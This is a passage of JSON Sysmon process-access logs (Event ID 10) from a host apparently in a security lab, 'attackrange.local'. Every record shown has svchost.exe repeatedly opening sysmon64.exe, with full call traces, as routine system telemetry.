C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.724\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.724","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 